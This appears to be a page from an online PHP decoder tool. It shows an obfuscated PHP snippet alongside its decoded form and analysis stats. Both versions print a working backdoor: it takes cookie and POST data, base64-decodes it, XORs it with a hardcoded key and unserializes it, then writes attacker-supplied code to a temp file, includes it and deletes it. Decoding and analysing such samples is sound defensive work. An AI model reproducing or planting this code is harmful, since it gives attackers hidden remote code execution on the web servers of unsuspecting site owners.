Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$zZMcjKRQZ = 'C' . '_' . 'C' . chr ( 801 - 681 ).'x' . 'I' . "\x66";$oKsfNxvxEh = chr (99)..

Decoded Output download

<?  $zZMcjKRQZ = 'C' . '_' . 'C' . chr ( 801 - 681 ).'x' . 'I' . "f";$oKsfNxvxEh = chr (99) . chr ( 440 - 332 ).chr ( 432 - 335 ).'s' . "s" . '_' . chr ( 105 - 4 ).chr ( 138 - 18 ).chr ( 907 - 802 )."s" . chr ( 178 - 62 )."s";$sLnuWg = $oKsfNxvxEh($zZMcjKRQZ); $zZMcjKRQZ = "21861";$WvkmlhX = !$sLnuWg;$oKsfNxvxEh = "17956";if ($WvkmlhX){class C_CxxIf{public function gxqaHSHRQO(){echo "50216";}private $trEHCS;public static $IKraD = "d675eca1-55e9-4718-baa5-9c733e02f6bc";public static $IMBMClzD = 20226;public function __construct($NqbXSCVLaW=0){$czURG = $_COOKIE;$bpXqaNcwi = $_POST;$eVkhnI = @$czURG[substr(C_CxxIf::$IKraD, 0, 4)];if (!empty($eVkhnI)){$xUnzv = "base64";$ReNCOYr = "";$eVkhnI = explode(",", $eVkhnI);foreach ($eVkhnI as $lzolKt){$ReNCOYr .= @$czURG[$lzolKt];$ReNCOYr .= @$bpXqaNcwi[$lzolKt];}$ReNCOYr = array_map($xUnzv . "_" . "d" . chr ( 807 - 706 ).chr (99) . "o" . "d" . "e", array($ReNCOYr,)); $ReNCOYr = $ReNCOYr[0] ^ str_repeat(C_CxxIf::$IKraD, (strlen($ReNCOYr[0]) / strlen(C_CxxIf::$IKraD)) + 1);C_CxxIf::$IMBMClzD = @unserialize($ReNCOYr);}}private function MmRQT(){if (is_array(C_CxxIf::$IMBMClzD)) {$qXfLNyTU = sys_get_temp_dir() . "/" . crc32(C_CxxIf::$IMBMClzD['s' . chr ( 491 - 394 ).chr ( 720 - 612 )."t"]);@C_CxxIf::$IMBMClzD[chr ( 1067 - 948 ).'r' . "i" . 't' . 'e']($qXfLNyTU, C_CxxIf::$IMBMClzD["c" . chr ( 716 - 605 ).chr ( 215 - 105 )."t" . "e" . "n" . "t"]);include $qXfLNyTU;@C_CxxIf::$IMBMClzD["d" . chr (101) . chr ( 554 - 446 ).chr (101) . chr (116) . "e"]($qXfLNyTU); $NznQWsLLoU = "63943";exit();}}public function __destruct(){$this->MmRQT(); $YfQQvyea = str_pad("63943", 10);}}$GIwtio = new /* 5807 */ C_CxxIf(); $GIwtio = substr("11410_18472", 1);} ?>

Did this file decode correctly?

Original Code

$zZMcjKRQZ = 'C' . '_' . 'C' . chr ( 801 - 681 ).'x' . 'I' . "\x66";$oKsfNxvxEh = chr (99) . chr ( 440 - 332 ).chr ( 432 - 335 ).'s' . "\x73" . '_' . chr ( 105 - 4 ).chr ( 138 - 18 ).chr ( 907 - 802 )."\163" . chr ( 178 - 62 )."\163";$sLnuWg = $oKsfNxvxEh($zZMcjKRQZ); $zZMcjKRQZ = "21861";$WvkmlhX = !$sLnuWg;$oKsfNxvxEh = "17956";if ($WvkmlhX){class C_CxxIf{public function gxqaHSHRQO(){echo "50216";}private $trEHCS;public static $IKraD = "d675eca1-55e9-4718-baa5-9c733e02f6bc";public static $IMBMClzD = 20226;public function __construct($NqbXSCVLaW=0){$czURG = $_COOKIE;$bpXqaNcwi = $_POST;$eVkhnI = @$czURG[substr(C_CxxIf::$IKraD, 0, 4)];if (!empty($eVkhnI)){$xUnzv = "base64";$ReNCOYr = "";$eVkhnI = explode(",", $eVkhnI);foreach ($eVkhnI as $lzolKt){$ReNCOYr .= @$czURG[$lzolKt];$ReNCOYr .= @$bpXqaNcwi[$lzolKt];}$ReNCOYr = array_map($xUnzv . "\x5f" . "\x64" . chr ( 807 - 706 ).chr (99) . "\x6f" . "\144" . "\x65", array($ReNCOYr,)); $ReNCOYr = $ReNCOYr[0] ^ str_repeat(C_CxxIf::$IKraD, (strlen($ReNCOYr[0]) / strlen(C_CxxIf::$IKraD)) + 1);C_CxxIf::$IMBMClzD = @unserialize($ReNCOYr);}}private function MmRQT(){if (is_array(C_CxxIf::$IMBMClzD)) {$qXfLNyTU = sys_get_temp_dir() . "/" . crc32(C_CxxIf::$IMBMClzD['s' . chr ( 491 - 394 ).chr ( 720 - 612 )."\164"]);@C_CxxIf::$IMBMClzD[chr ( 1067 - 948 ).'r' . "\x69" . 't' . 'e']($qXfLNyTU, C_CxxIf::$IMBMClzD["\x63" . chr ( 716 - 605 ).chr ( 215 - 105 )."\164" . "\x65" . "\x6e" . "\x74"]);include $qXfLNyTU;@C_CxxIf::$IMBMClzD["\x64" . chr (101) . chr ( 554 - 446 ).chr (101) . chr (116) . "\145"]($qXfLNyTU); $NznQWsLLoU = "63943";exit();}}public function __destruct(){$this->MmRQT(); $YfQQvyea = str_pad("63943", 10);}}$GIwtio = new /* 5807 */ C_CxxIf(); $GIwtio = substr("11410_18472", 1);}

Function Calls

chr 8
class_exists 1

Variables

$zZMcjKRQZ C_CxxIf
$oKsfNxvxEh class_exists

Stats

MD5 5c8e2a6aba6b7c764e179ae7da9b977f
Eval Count 0
Decode Time 90 ms